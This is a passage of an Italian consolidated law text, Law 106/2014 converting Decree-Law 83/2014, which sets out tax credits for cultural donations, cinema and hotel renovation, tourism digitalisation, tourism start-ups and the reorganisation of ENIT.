1 Agosto, 2014

Legge 29 luglio 2014, n. 106, in G.U. n. 175 del 30.7.2014

 

Art. 1

 

1. Il decreto-legge 31 maggio 2014,  n.  83,  recante  disposizioni

urgenti per la tutela del patrimonio  culturale,  lo  sviluppo  della

cultura e il rilancio del turismo, e’  convertito  in  legge  con  le

modificazioni riportate in allegato alla presente legge.

2. La presente legge entra in vigore il giorno successivo a  quello

della sua pubblicazione nella Gazzetta Ufficiale.

 

(Si omette la pubblicazione delle modificazioni di cui all’allegato in quanto sono state evidenziate mediante il carattere corsivo nel testo coordinato sotto riportato. Il testo del D.L. 31 maggio 2014, n. 83, è stato pubblicato nel fascicolo n. 11/2014, 833).

 

Testo del decreto-legge 31 maggio 2014, n. 83, coordinato con la legge di conversione 29 luglio 2014, n. 106, recante: “Disposizioni urgenti per la tutela del patrimonio culturale, lo sviluppo della cultura e il rilancio del turismo.”.

(Testo coordinato a cura del Min. grazia e giustizia in G.U. n. 175 del 30.7.2014)

 

Titolo I

MISURE URGENTI PER LA TUTELA DEL PATRIMONIO CULTURALE DELLA NAZIONE E

 PER LO SVILUPPO DELLA CULTURA

Art. 1

Art-Bonus – Credito di imposta per favorire

le erogazioni liberali a sostegno della cultura

 

1. Per le erogazioni liberali in denaro effettuate nei tre  periodi

d’imposta successivi a quello in  corso  al  31  dicembre  2013,  per

interventi di manutenzione, protezione e restauro di  beni  culturali

pubblici, per il sostegno degli istituti e dei luoghi  della  cultura

di appartenenza pubblica e per la realizzazione di  nuove  strutture,

il restauro e il potenziamento di quelle esistenti  delle  fondazioni

lirico-sinfoniche o di enti o istituzioni pubbliche che, senza  scopo

di lucro, svolgono esclusivamente attivita’ nello spettacolo, non  si

applicano le disposizioni di cui agli articoli 15, comma  1,  lettere

h) e i), e 100, comma 2, lettere f)  e  g),  del  testo  unico  delle

imposte sui redditi,  approvato  con  decreto  del  Presidente  della

Repubblica 22 dicembre 1986, n. 917, e spetta un  credito  d’imposta,

nella misura del:

a) 65 per cento delle erogazioni liberali effettuate in  ciascuno

dei due periodi d’imposta successivi a quello in corso al 31 dicembre

2013;

b) 50 per cento delle erogazioni liberali effettuate nel  periodo

d’imposta successivo a quello in corso al 31 dicembre 2015.

2.  Il  credito  d’imposta  spettante  ai  sensi  del  comma  1  e’

riconosciuto alle persone fisiche e agli  enti  non  commerciali  nei

limiti del 15 per cento del reddito imponibile, ai soggetti  titolari

di reddito d’impresa nei limiti del 5 per mille dei ricavi annui.

Il credito d’imposta spettante ai  sensi  del  comma  1  e’  altresi’

riconosciuto qualora le erogazioni liberali in denaro effettuate  per

interventi di manutenzione, protezione e restauro di  beni  culturali

pubblici siano destinate ai soggetti concessionari o  affidatari  dei

beni oggetto di tali interventi. Il credito d’imposta e’ ripartito

in tre quote annuali di pari importo. Si applicano le disposizioni di

cui  agli articoli 40, comma 9, e 42, comma 9,  del decreto-legge

6 dicembre 2011, n. 201, convertito, con modificazioni,  dalla  legge

22 dicembre 2011, n. 214.

3. Ferma restando la ripartizione in  tre  quote  annuali  di  pari

importo, per i soggetti titolari di reddito d’impresa il  credito  di

imposta e’ utilizzabile tramite compensazione ai sensi  dell’art.  17

del  decreto  legislativo  9  luglio  1997,  n.  241,  e   successive

modificazioni, e non rileva ai  fini  delle  imposte  sui  redditi  e

dell’imposta regionale sulle attivita’ produttive.

4. Al  credito  d’imposta  di  cui  al  presente  articolo  non  si

applicano i limiti di cui  all’art.  1,  comma  53,  della  legge  24

dicembre 2007, n. 244, e di cui all’art. 34 della legge  23  dicembre

2000, n. 388.

5. I soggetti beneficiari delle erogazioni liberali di cui al comma

1,  ivi inclusi i  soggetti  concessionari  o  affidatari  di  beni

culturali pubblici  destinatari  di  erogazioni  liberali  in  denaro

effettuate  per  la  realizzazione  di  interventi  di  manutenzione,

protezione e restauro dei beni stessi, comunicano  mensilmente  al

Ministero  dei  beni  e  delle  attivita’  culturali  e  del  turismo

l’ammontare  delle  erogazioni  liberali   ricevute   nel   mese   di

riferimento; provvedono altresi’ a  dare  pubblica  comunicazione  di

tale ammontare, nonche’  della  destinazione  e  dell’utilizzo  delle

erogazioni stesse,  tramite  il  proprio  sito  web  istituzionale,

nell’ambito di una pagina dedicata e facilmente individuabile,  e  in

un apposito portale,  gestito  dal  medesimo  Ministero,  in  cui  ai

soggetti destinatari delle erogazioni liberali sono  associati  tutte

le informazioni relative allo stato di conservazione  del  bene,  gli

interventi di ristrutturazione o  riqualificazione  eventualmente  in

atto,  i  fondi  pubblici  assegnati  per  l’anno  in  corso,  l’ente

responsabile  del  bene,  nonche’  le  informazioni   relative   alla

fruizione. Sono fatte salve le disposizioni del Codice in  materia

di protezione dei dati personali, di cui al  decreto  legislativo  30

giugno 2003, n. 196. Il  Ministero  dei  beni  e  delle  attivita’

culturali e del turismo provvede all’attuazione  del  presente  comma

nell’ambito  delle   risorse   umane,   strumentali   e   finanziarie

disponibili  a  legislazione  vigente  e,  comunque,  senza  nuovi  o

maggiori oneri per il bilancio dello Stato.

6. L’art. 12 del decreto-legge 8 agosto 2013, n. 91, convertito con

modificazioni dalla legge 7 ottobre 2013, n. 112, e’ abrogato. Con il

regolamento  di  organizzazione  del  Ministero  dei  beni  e   delle

attivita’ culturali e del turismo, di cui all’art. 14, comma  3,  del

presente decreto, si individuano, senza nuovi o maggiori oneri per la

finanza pubblica e nel rispetto delle dotazioni organiche definite in

attuazione del decreto-legge 6 luglio 2012,  n.  95,  convertito  con

modificazioni dalla legge 7 agosto 2012, n. 135,  apposite  strutture

dedicate a favorire le elargizioni liberali da parte  dei  privati

e la raccolta di fondi tra il pubblico,  anche  attraverso  il

portale di cui al comma 5.

7. Ai maggiori oneri derivanti  dalla  concessione  del  credito

d’imposta di cui al presente articolo, valutati  in  2,7  milioni  di

euro per l’anno 2015, in 11,9 milioni di euro  per  l’anno  2016,  in

18,2 milioni di euro per l’anno 2017, in 14,6  milioni  di  euro  per

l’anno 2018 e in 5,2 milioni di euro per l’anno 2019, si provvede  ai

sensi dell’art. 17.

 

(Omissis).

 

Art. 5

Disposizioni urgenti in materia di organizzazione

e funzionamento delle fondazioni lirico – sinfoniche

(Omissis).

1-bis. Le Agenzie fiscali  possono  ricorrere  alla  transazione

fiscale di cui all’art. 182-ter del regio decreto 16 marzo  1942,  n.

267, e successive modificazioni, anche nei confronti delle fondazioni

lirico-sinfoniche che  abbiano  presentato  i  piani  di  risanamento

definitivi ai sensi dell’art. 11 del decreto-legge 8 agosto 2013,  n.

91, convertito, con modificazioni, dalla legge  7  ottobre  2013,  n.

112, e successive modificazioni, corredati di tutti gli atti indicati

al comma 2 del citato art. 11 e,  in  particolare,  del  referto  del

collegio dei revisori dei conti, e nel rispetto  di  quanto  previsto

dal comma 1, lettere a), g) e g-bis), del medesimo art. 11, ove  tale

transazione  risulti  necessaria  ai  fini  della  realizzazione  dei

predetti piani di risanamento. Dall’attuazione del presente comma non

devono derivare nuovi o maggiori oneri per la finanza pubblica.

(Omissis).

 

Art. 6

(( Disposizioni urgenti per la crescita del settore cinematografico e

audiovisivo, anche attraverso l’attrazione di  investimenti  esteri

in Italia e il miglioramento della qualita’ dell’offerta ))

(Omissis).

2-bis.  Per  favorire  l’offerta  cinematografica  di  qualita’

artistico-culturale,  alle  imprese  di   esercizio   cinematografico

iscritte negli elenchi di cui all’art. 3 del decreto  legislativo  22

gennaio 2004, n. 28, che abbiano i requisiti della  piccola  o  media

impresa  ai   sensi   della   normativa   dell’Unione   europea,   e’

riconosciuto, per gli anni 2015 e 2016, un  credito  d’imposta  nella

misura del 30 per cento dei costi sostenuti  per  il  ripristino,  il

restauro  e  l’adeguamento  strutturale  e  tecnologico  delle   sale

cinematografiche.  L’intervento  e’  riservato  alle  sale  esistenti

almeno dal 1° gennaio 1980, secondo  le  disposizioni  contenute  nel

decreto  previsto  nel  comma  2-quater;  il  credito  d’imposta   e’

riconosciuto fino ad un massimo  di  100.000  euro  e  comunque  fino

all’esaurimento dell’importo massimo di cui al comma 2-sexies, ed  e’

ripartito in tre quote annuali di pari importo.

  2-ter. Il credito d’imposta di cui al comma 2-bis non concorre alla

formazione del reddito ai fini delle imposte sui redditi e del valore

della produzione  ai  fini  dell’imposta  regionale  sulle  attivita’

produttive e non rileva ai fini del rapporto di cui agli articoli  61

e 109, comma 5, del testo unico delle imposte sui redditi, di cui  al

decreto del Presidente della Repubblica 22 dicembre 1986, n.  917,  e

successive modificazioni. Il credito  d’imposta  e’  utilizzabile  in

compensazione ai sensi dell’art. 17 del decreto legislativo 9  luglio

1997, n. 241, e successive modificazioni, presentando il modello  F24

esclusivamente attraverso i servizi telematici messi  a  disposizione

dall’Agenzia  delle  entrate,  pena  lo  scarto  dell’operazione   di

versamento, secondo modalita’ e termini  definiti  con  provvedimento

del  Direttore  della  medesima  Agenzia,  ovvero  e’  cedibile   dal

beneficiario, nel rispetto delle disposizioni di  cui  agli  articoli

1260 e seguenti del codice civile  e  previa  adeguata  dimostrazione

dell’effettivita’ del diritto al  credito  medesimo,  a  intermediari

bancari,  finanziari  e   assicurativi.   Tali   cessionari   possono

utilizzare il credito ceduto  solo  in  compensazione  con  i  propri

debiti  d’imposta  o  contributivi  ai  sensi  del   citato   decreto

legislativo n. 241 del 1997. Anche a seguito della cessione,  restano

impregiudicati i poteri delle competenti amministrazioni relativi  al

controllo  delle  dichiarazioni  dei  redditi,   all’accertamento   e

all’irrogazione delle sanzioni nei confronti del beneficiario che  ha

ceduto il credito d’imposta di cui al comma 2-bis.

  2-quater. Con decreto del  Ministro  dei  beni  e  delle  attivita’

culturali e del turismo, di concerto con il Ministro dell’economia  e

delle finanze, sentito  il  Ministro  dello  sviluppo  economico,  da

adottare entro tre mesi dalla data di entrata in vigore  della  legge

di conversione del presente decreto, sono definiti, in particolare, i

criteri e le procedure per l’accesso al beneficio  di  cui  al  comma

2-bis e per il suo recupero in caso di illegittimo utilizzo,  nonche’

le ulteriori specificazioni ai  fini  del  contenimento  della  spesa

complessiva entro i limiti di cui al comma 2-sexies.

  2-quinquies. Le agevolazioni fiscali previste dal comma  2-bis  del

presente articolo sono alternative e non cumulabili con i  contributi

di cui all’art. 15 del decreto legislativo 22 gennaio 2004, n. 28,  e

con le agevolazioni fiscali previste dall’art. 1, comma 327,  lettera

c), numero 1), della legge 24 dicembre 2007, n. 244.

  2-sexies. Ai maggiori oneri derivanti dalla concessione dei crediti

d’imposta di cui al comma 2-bis, nel limite massimo complessivo di  3

milioni di euro per ciascuno degli anni 2015, 2016, 2017 e  2018,  si

provvede nei limiti delle disponibilita’ del Fondo  per  il  restauro

delle sale cinematografiche, da istituire nello stato  di  previsione

del Ministero dei beni e delle attivita’ culturali e del turismo.  Il

Fondo e’ alimentato, nella misura di massima di 3 milioni di euro per

ciascuno degli anni 2015, 2016, 2017 e 2018, con le  risorse  di  cui

all’art. 8,  comma  3,  del  decreto-legge  8  agosto  2013,  n.  91,

convertito, con modificazioni, dalla legge 7 ottobre  2013,  n.  112,

come modificato dal  comma  2  del  presente  articolo.  Il  Ministro

dell’economia e delle finanze e’ autorizzato ad apportare, con propri

decreti, le occorrenti variazioni di bilancio.

 

(Omissis).

 

Titolo II

MISURE URGENTI A SUPPORTO DELL’ACCESSIBILITA’ DEL SETTORE CULTURALE E

TURISTICO

 

Art. 9

Disposizioni urgenti recanti introduzione di un credito d’imposta per

la digitalizzazione degli esercizi ricettivi

 

1. Per sostenere la competitivita’ del sistema  turismo,  favorendo

la digitalizzazione del settore, per i periodi di  imposta   2014,

2015 e 2016  agli  esercizi  ricettivi  singoli  o  aggregati  con

servizi extra-ricettivi o ancillari,  nonche’, per  una  quota  non

superiore al 10 per cento delle risorse  di  cui  al  comma  5,  alle

agenzie di viaggi e ai tour  operator  che  applicano  lo  studio  di

settore approvato con decreto  del  Ministro  dell’economia  e  delle

finanze 28 dicembre 2012, pubblicato nel supplemento straordinario n.

17 alla Gazzetta Ufficiale n. 303 del 31 dicembre 2012, che risultino

appartenenti al cluster 10 – Agenzie intermediarie  specializzate  in

turismo incoming, o al cluster 11 – Agenzie specializzate in  turismo

incoming, di cui all’allegato 15 annesso  al  citato  decreto    e’

riconosciuto un credito d’imposta nella misura del trenta  per  cento

dei costi sostenuti per investimenti e attivita’ di sviluppo  di  cui

al comma 2, fino all’importo massimo complessivo di 12.500  euro  nei

periodi di imposta sopra indicati, e  comunque  fino  all’esaurimento

dell’importo massimo di cui al comma  5  del  presente  articolo.  Il

credito d’imposta e’ ripartito in tre quote annuali di pari importo.

2. Il credito  di  imposta  di  cui  al  comma  1  e’  riconosciuto

esclusivamente per spese relative a:

a) impianti wi-fi;

b) siti web ottimizzati per il sistema mobile;

c) programmi e sistemi informatici per la vendita  diretta  di

servizi e pernottamenti, purche’ in grado di garantire  gli  standard

di interoperabilita’ necessari all’integrazione con siti e portali di

promozione pubblici  e  privati  e  di  favorire  l’integrazione  fra

servizi ricettivi ed extra-ricettivi;

d) spazi e pubblicita’ per la promozione e commercializzazione di

servizi e pernottamenti turistici sui siti e piattaforme informatiche

specializzate, anche gestite da tour operator e agenzie di viaggio;

e) servizi di consulenza per  la  comunicazione  e  il  marketing

digitale;

f) strumenti per la promozione digitale  di  proposte  e  offerte

innovative in tema di inclusione e di  ospitalita’  per  persone  con

disabilita’;

g) servizi relativi alla formazione del titolare o del  personale

dipendente ai fini di quanto previsto dal presente comma.

2-bis. Sono esclusi dalle spese di cui al comma  2   i  costi

relativi alla intermediazione commerciale.

3. Gli esercizi di cui al  comma  1  possono  accedere  al  credito

d’imposta nel rispetto dei limiti  di  cui  al  regolamento  (UE)  n.

1407/2013 della Commissione europea del 18  dicembre  2013,  relativo

all’applicazione  degli  articoli  107  e  108   del   trattato   sul

funzionamento dell’Unione Europea agli aiuti «de minimis». Il credito

d’imposta non concorre alla formazione  del  reddito  ai  fini  delle

imposte  sui  redditi  e  del  valore  della   produzione   ai   fini

dell’imposta regionale sulle attivita’ produttive, non rileva ai fini

del rapporto di cui agli articoli 61 e 109, comma 5, del testo  unico

delle imposte sui redditi di cui  al  decreto  del  Presidente  della

Repubblica n.  917  del  1986,  e  successive  modificazioni,  ed  e’

utilizzabile esclusivamente in compensazione ai  sensi  dell’art.  17

del  decreto  legislativo  9  luglio  1997,  n.  241,  e   successive

modificazioni, presentando il modello F24 esclusivamente attraverso i

servizi telematici messi a disposizione dall’Agenzia  delle  Entrate,

pena lo scarto dell’operazione di  versamento,  secondo  modalita’  e

termini definiti  con  provvedimento  del  Direttore  della  medesima

Agenzia.  La prima quota del credito d’imposta relativo alle  spese

effettuate nel periodo d’imposta in corso alla  data  di  entrata  in

vigore del presente decreto e’ utilizzabile non prima del 1º  gennaio

2015.

  4-bis. L’incentivo fiscale di cui al comma 1 e’ revocato se i  beni

oggetto  degli  investimenti  sono  destinati  a  finalita’  estranee

all’esercizio di impresa.

4. Con decreto del Ministro dei beni e delle attivita’ culturali  e

del turismo, di  concerto  con  il  Ministro  dell’economia  e  delle

finanze, sentito il Ministro dello sviluppo  economico,  da  adottare

entro tre mesi dalla  data  di  entrata  in  vigore  della  legge  di

conversione del presente decreto sono definite le tipologie di  spese

eleggibili, le procedure per la  loro  ammissione  al  beneficio  nel

rispetto del limite di cui al comma 5, le  soglie  massime  di  spesa

eleggibile per singola voce di spesa sostenuta, nonche’ le  procedure

di recupero nei casi di utilizzo illegittimo  dei  crediti  d’imposta

secondo quanto stabilito dall’art. 1, comma 6, del  decreto-legge  25

marzo 2010, n. 40, convertito,  con  modificazioni,  dalla  legge  22

maggio 2010, n. 73.

5. Ai  maggiori  oneri  derivanti  dalla  concessione  dei  crediti

d’imposta di cui al comma 1, nel limite  massimo  complessivo  di  15

milioni di euro per ciascuno dei periodi di imposta 2015, 2016, 2017,

2018 e 2019 si provvede ai sensi dell’art. 17.

 

Art. 10

 Disposizioni urgenti per riqualificare e migliorare  le  strutture

ricettive turistico-alberghiere e favorire l’imprenditorialità nel

settore turistico

  1. Al fine di migliorare la qualita’ dell’offerta ricettiva  per

accrescere la competitivita’ delle destinazioni  turistiche,  per  il

periodo d’imposta in  corso  alla  data  di  entrata  in  vigore  del

presente decreto e per i due  successivi,  alle  imprese  alberghiere

esistenti alla data del 1° gennaio 2012 e’  riconosciuto  un  credito

d’imposta nella misura del 30 per cento delle spese sostenute fino ad

un massimo di 200.000 euro nei periodi di imposta sopra indicati  per

gli  interventi  di  cui  al  comma  2.  Il  credito   d’imposta   e’

riconosciuto fino all’esaurimento  dell’importo  massimo  di  cui  al

comma 7.

  2. Il credito di imposta di cui al comma 1 e’ riconosciuto  per  le

spese relative a  interventi  di  ristrutturazione  edilizia  di  cui

all’art. 3, comma 1, lettere b), c) e d), del testo unico di  cui  al

decreto del Presidente della Repubblica 6  giugno  2001,  n.  380,  e

successive  modificazioni,  o  a  interventi  di  eliminazione  delle

barriere architettoniche, in conformita’ alla legge 9  gennaio  1989,

n. 13, e al decreto del Ministro dei lavori pubblici 14 giugno  1989,

n.  236,  anche  tenendo  conto  dei  principi  della  «progettazione

universale» di cui alla Convenzione delle Nazioni Unite  sui  diritti

delle persone con disabilita’, adottata a New  York  il  13  dicembre

2006, resa esecutiva con legge 3 marzo 2009, n. 18, e  di  incremento

dell’efficienza energetica, ovvero per le tipologie di spesa  di  cui

al comma 7 del presente articolo, secondo le modalita’ ivi previste.

  3. Il credito d’imposta di cui al comma 1 e’ ripartito in tre quote

annuali di pari importo e, in ogni caso, e’ riconosciuto nel rispetto

dei limiti di cui al regolamento (UE) n. 1407/2013 della Commissione,

del 18 dicembre 2013, relativo all’applicazione degli articoli 107  e

108 del Trattato sul funzionamento dell’Unione europea agli aiuti «de

minimis».  Il  credito  d’impostanon  concorre  alla  formazione  del

reddito ai  fini  delle  imposte  sui  redditi  e  del  valore  della

produzione ai fini dell’imposta regionale sulle attivita’ produttive,

non rileva ai fini del rapporto di cui agli articoli 61 e 109,  comma

5, del testo unico delle imposte sui redditi, di cui al  decreto  del

Presidente della Repubblica 22 dicembre 1986, n.  917,  e  successive

modificazioni, ed e’ utilizzabile esclusivamente in compensazione, ai

sensi dell’art. 17 del decreto legislativo 9 luglio 1997, n.  241,  e

successive  modificazioni.  La  prima  quota  del  credito  d’imposta

relativo alle spese effettuate nel periodo d’imposta  in  corso  alla

data di entrata in vigore del presente decreto  e’  utilizzabile  non

prima del 10 gennaio 2015.

  4. Con decreto del Ministro dei beni e delle attivita’ culturali  e

del turismo, di  concerto  con  il  Ministro  dell’economia  e  delle

finanze, con il Ministro dello sviluppo economico e con  il  Ministro

delle infrastrutture e dei trasporti, sentita la Conferenza unificata

di cui all’art. 8 del decreto legislativo 28 agosto 1997, n.  281,  e

successive modificazioni, da adottare entro tre mesi  dalla  data  di

entrata in vigore della legge di conversione  del  presente  decreto,

sono stabilite le disposizioni applicative del presente articolo, con

riferimento, in particolare a:

    a) le tipologie di strutture alberghiere ammesse  al  credito  di

imposta;

    b) le tipologie di interventi ammessi al  beneficio,  nell’ambito

di quelli di cui al comma 2;

    c) le  procedure  per  l’ammissione  al  beneficio,  che  avviene

secondo l’ordine cronologico di presentazione delle relative domande,

nel rispetto dei limiti di cui ai commi 1 e 7;

    d) le soglie massime di spesa ammissibile  per  singola  voce  di

spesa sostenuta;

    e) le procedure di recupero nei casi di utilizzo illegittimo  dei

crediti d’imposta, secondo quanto stabilito dall’art. 1, comma 6, del

decreto-legge 25 marzo 2010, n. 40,  convertito,  con  modificazioni,

dalla legge 22 maggio 2010, n. 73.

  5. Per le medesime  finalita’  di  cui  al  comma  1,  nonche’  per

promuovere  l’adozione   e   la   diffusione   della   «progettazione

universale» e l’incremento dell’efficienza  energetica,  il  Ministro

dei beni e delle attivita’  culturali  e  del  turismo,  con  proprio

decreto da emanare entro tre mesi dalla data  di  entrata  in  vigore

della legge di conversione del presente  decreto,  previa  intesa  in

sede di Conferenza unificata, aggiorna gli standard minimi,  uniformi

in tutto il territorio nazionale, dei servizi e delle  dotazioni  per

la  classificazione  delle  strutture  ricettive  e   delle   imprese

turistiche, ivi compresi i condhotel e gli alberghi diffusi,  tenendo

conto delle specifiche esigenze connesse alle capacita’  ricettiva  e

di  fruizione  dei   contesti   territoriali   e   dei   sistemi   di

classificazione   alberghiera   adottati   a   livello   europeo    e

internazionale.

  6. Per favorire il rafforzamento delle imprese turistiche e la loro

aggregazione in distretti turistici e reti d’impresa:

    a)  all’art.  3  del  decreto-legge  13  maggio  2011,   n.   70,

convertito, con modificazioni, dalla legge 12 luglio 2011, n. 106,  e

successive modificazioni, sono apportate le seguenti modificazioni:

      1) al  comma  4,  le  parole:  «nei  territori  costieri»  sono

soppresse, le parole: «con decreto del Presidente del  Consiglio  dei

Ministri» sono sostituite dalle seguenti: «con decreto  del  Ministro

dei beni e delle attivita’ culturali e del turismo» e le parole: «nei

medesimi territori» sono sostituite dalle  seguenti:  «nei  territori

interessati»;

      2) al comma 5, al  primo  periodo,  le  parole:  «entro  il  31

dicembre 2012, dalle Regioni d’intesa con il Ministero  dell’economia

e delle  finanze»  sono  sostituite  dalle  seguenti:  «entro  il  31

dicembre 2015, dalle Regioni d’intesa con il  Ministero  dei  beni  e

delle attivita’ culturali e del turismo»  e  il  secondo  periodo  e’

soppresso;

      3) dopo il comma 5 e’ inserito il seguente:

    «5-bis. Nell’ambito dei distretti, come individuati ai sensi  dei

commi 4 e 5, possono essere realizzati  progetti  pilota,  concordati

con  i   Ministeri   competenti   in   materia   di   semplificazione

amministrativa   e   fiscalita’,   anche   al   fine   di   aumentare

l’attrattivita’, favorire gli investimenti e creare  aree  favorevoli

agli investimenti (AFAI)  mediante  azioni  per  la  riqualificazione

delle  aree  del   distretto,   per   la   realizzazione   di   opere

infrastrutturali, per l’aggiornamento  professionale  del  personale,

per la promozione delle nuove tecnologie»;

      4) al comma 6, la lettera b) e’ sostituita dalla seguente:

        «b) i distretti costituiscono “zone  a  burocrazia  zero”  ai

sensi dell’art. 37-bis del decreto-legge 18  ottobre  2012,  n.  179,

convertito, con modificazioni, dalla legge 17 dicembre 2012, n.  221;

restano esclusi dalle misure di semplificazione le  autorizzazioni  e

gli altri atti di assenso comunque denominati prescritti  dal  codice

dei beni culturali e del paesaggio, di cui al decreto legislativo  22

gennaio 2004, n. 42»;

    b) in deroga a quanto previsto dal comma 1 dell’art.  37-bis  del

decreto-legge 18 ottobre 2012, n. 179, convertito, con modificazioni,

dalla legge 17 dicembre 2012, n. 221, le misure di agevolazione e  di

semplificazione connesse al regime proprio delle «zone  a  burocrazia

zero» trovano applicazione per tutte le aree e gli immobili ricadenti

nell’ambito territoriale del distretto turistico, ancorche’  soggetti

a    vincolo    paesaggistico-territoriale    o    del     patrimonio

storico-artistico;

    c) il contratto di rete di  cui  all’art.  3,  comma  4-ter,  del

decreto-legge 10 febbraio 2009, n. 5, convertito, con  modificazioni,

dalla legge 9 aprile 2009, n.  33,  e  successive  modificazioni,  e’

utilizzabile con  riferimento  al  settore  turistico  anche  per  il

perseguimento  dei  seguenti  obiettivi:  supportare  i  processi  di

riorganizzazione   della    filiera    turistica;    migliorare    la

specializzazione e la qualificazione del comparto;  incoraggiare  gli

investimenti per accrescere la  capacita’  competitiva  e  innovativa

dell’imprenditoria turistica nazionale, in  particolare  sui  mercati

esteri.

  7. Ai  maggiori  oneri  derivanti  dalla  concessione  del  credito

d’imposta di cui al comma 1, nel limite  massimo  complessivo  di  20

milioni di euro per l’anno 2015 e di 50 milioni di euro per gli  anni

dal 2016 al 2019, si provvede ai sensi dell’art. 17. Una  quota  pari

al 10 per cento del  limite  massimo  complessivo  di  cui  al  primo

periodo e’ destinata, per ciascun anno, alla concessione del  credito

d’imposta di cui al comma  1  in  favore  delle  imprese  alberghiere

indicate  al  medesimo  comma  per  le  spese  relative  a  ulteriori

interventi, comprese quelle per l’acquisto  di  mobili  e  componenti

d’arredo  destinati  esclusivamente  agli  immobili   oggetto   degli

interventi di cui al comma 2, a condizione che  il  beneficiario  non

ceda a terzi  ne’  destini  a  finalita’  estranee  all’esercizio  di

impresa i beni oggetto degli investimenti prima del  secondo  periodo

d’imposta successivo.

 

(Omissis).

 

 Art. 11 bis

Start-up turismo

 

  1. In aggiunta a quanto stabilito dall’art. 25,  comma  2,  lettera

f), del decreto-legge  18  ottobre  2012,  n.  179,  convertito,  con

modificazioni, dalla legge 17 dicembre 2012, n. 221,  si  considerano

start-up innovative  anche  le  societa’  che  abbiano  come  oggetto

sociale la promozione  dell’offerta  turistica  nazionale  attraverso

l’uso  di  tecnologie  e  lo  sviluppo  di  software  originali,   in

particolare, agendo attraverso la predisposizione di servizi  rivolti

alle imprese turistiche. Tali servizi devono riguardare la formazione

del  titolare  e  del  personale  dipendente,   la   costituzione   e

l’associazione di imprese turistiche e culturali, strutture  museali,

agenzie di viaggio al dettaglio, uffici turistici di  informazione  e

accoglienza per il turista e tour operator di autotrasporto, in  modo

tale da aumentare qualitativamente e quantitativamente  le  occasioni

di permanenza nel territorio; l’offerta di servizi  centralizzati  di

prenotazione in qualsiasi forma, compresi sistemi telematici e banche

di dati in convenzione con agenzie di viaggio  o  tour  operator,  la

raccolta,    l’organizzazione,    la    razionalizzazione     nonche’

l’elaborazione statistica dei dati relativi al  movimento  turistico;

l’elaborazione e lo sviluppo di applicazioni web  che  consentano  di

mettere in relazione aspetti turistici culturali e di intrattenimento

nel territorio  nonche’  lo  svolgimento  di  attivita’  conoscitive,

promozionali  e   di   commercializzazione   dell’offerta   turistica

nazionale, in forma di servizi di incoming ovvero di  accoglienza  di

turisti nel territorio di intervento,  studiando  e  attivando  anche

nuovi canali di distribuzione.

  2. Le imprese start-up innovative di cui al comma 1 possono  essere

costituite  anche  nella  forma  della  societa’  a   responsabilita’

limitata semplificata ai sensi dell’art. 2463-bis del codice civile.

  3. Le societa’ di cui al  comma  2,  qualora  siano  costituite  da

persone fisiche che non abbiano compiuto il quarantesimo anno di eta’

all’atto della costituzione della medesima societa’, sono  esenti  da

imposta  di  registro,  diritti  erariali  e  tasse  di   concessione

governativa.

  4. Agli oneri derivanti dal presente articolo, pari a 2 milioni  di

euro annui a decorrere dall’anno 2015, si provvede mediante riduzione

del Fondo per interventi strutturali di politica  economica,  di  cui

all’art. 10, comma 5, del decreto-legge 29  novembre  2004,  n.  282,

convertito, con modificazioni, dalla legge 27 dicembre 2004, n.  307.

Il  Ministro  dell’economia  e  delle  finanze  e’   autorizzato   ad

apportare, con propri decreti, le occorrenti variazioni di bilancio.

  5. Le disposizioni del presente articolo si applicano  a  decorrere

dal 1º gennaio 2015.

 

 

Titolo III

MISURE URGENTI PER L’AMMINISTRAZIONE DEL PATRIMONIO CULTURALE E DEL

TURISMO

(Omissis).

 

 Art. 13 bis

Istituzione del gruppo di lavoro sul tax free shopping

 

  1. E’ istituito con decreto  del  Ministro  dell’economia  e  delle

finanze, di concerto con il  Ministro  dei  beni  e  delle  attivita’

culturali e del turismo, entro quarantacinque giorni  dalla  data  di

entrata in vigore della legge di conversione del presente decreto, un

gruppo di lavoro finalizzato a individuare principi e criteri per  la

disciplina dei contratti  di  intermediazione  finanziaria  tax  free

shopping,  per  la  corretta  applicazione  dell’art.  38-quater  del

decreto del Presidente della Repubblica 26 ottobre 1972,  n.  633,  e

successive modificazioni, al fine di individuare risorse da destinare

alle attivita’ di promozione del turismo.

  2. Al gruppo di lavoro, istituito presso il Ministero dell’economia

e   delle   finanze,   partecipano   rappresentanti   del   Ministero

dell’economia e  delle  finanze,  del  Ministero  dei  beni  e  delle

attivita’ culturali e del turismo, del Ministero della giustizia, del

Ministero degli affari esteri e del  Dipartimento  per  le  politiche

europee della Presidenza del Consiglio dei ministri.

  3. Entro cinque mesi dall’inizio della sua attivita’ il  gruppo  di

lavoro deve concludere i propri lavori e formulare proposte operative

al Ministro dell’economia e delle finanze e al Ministro  dei  beni  e

delle attivita’ culturali e del turismo.

  4. Ai componenti del gruppo di lavoro non sono corrisposti gettoni,

compensi, rimborsi di spese o altri emolumenti  comunque  denominati.

Dall’attuazione del presente articolo non  devono  derivare  nuovi  o

maggiori oneri a carico della finanza pubblica.

 

(Omissis).

 

Art. 16

Trasformazione di ENIT in ente pubblico economico

e liquidazione di Promuovi Italia S.p.A.

 

1.  Al  fine  di  assicurare  risparmi  della  spesa  pubblica,  di

migliorare  la   promozione   dell’immagine   unitaria   dell’offerta

turistica nazionale e  favorirne  la  commercializzazione,  anche  in

occasione della Presidenza italiana del semestre europeo  e  di  EXPO

2015, l’ENIT-Agenzia nazionale del turismo  e’  trasformata  in  ente

pubblico economico, sottoposto alla vigilanza del Ministro dei beni e

delle attivita’ culturali e del turismo.

2. L’ENIT, nel  perseguimento  della  missione  di  promozione  del

turismo,  interviene  per  individuare,  organizzare,  promuovere   e

commercializzare i servizi turistici  e culturali e per favorire la

commercializzazione  dei   prodotti  enogastronomici,   tipici   e

artigianali in Italia e all’estero, con particolare riferimento  agli

investimenti nei mezzi digitali,  nella piattaforma  tecnologica  e

nella  rete  internet  attraverso  il   potenziamento   del   portale

“Italia.it”, anche al fine di realizzare e distribuire una Carta  del

turista, anche solo virtuale,  che  consenta,  mediante  strumenti  e

canali digitali  e  apposite  convenzioni  con  soggetti  pubblici  e

privati, di effettuare pagamenti a prezzo ridotto  per  la  fruizione

integrata di servizi pubblici di trasporto e  degli  istituti  e  dei

luoghi della cultura.

3. L’ENIT ha autonomia  statutaria,  regolamentare,  organizzativa,

patrimoniale, contabile e di gestione. Ne costituiscono gli organi il

presidente,  il  consiglio  di  amministrazione  e  il  collegio  dei

revisori dei conti. La sua attivita’ e’ disciplinata dalle  norme  di

diritto privato. L’ENIT stipula convenzioni con le Regioni    e  le

province autonome di Trento e di Bolzano,  gli enti locali ed altri

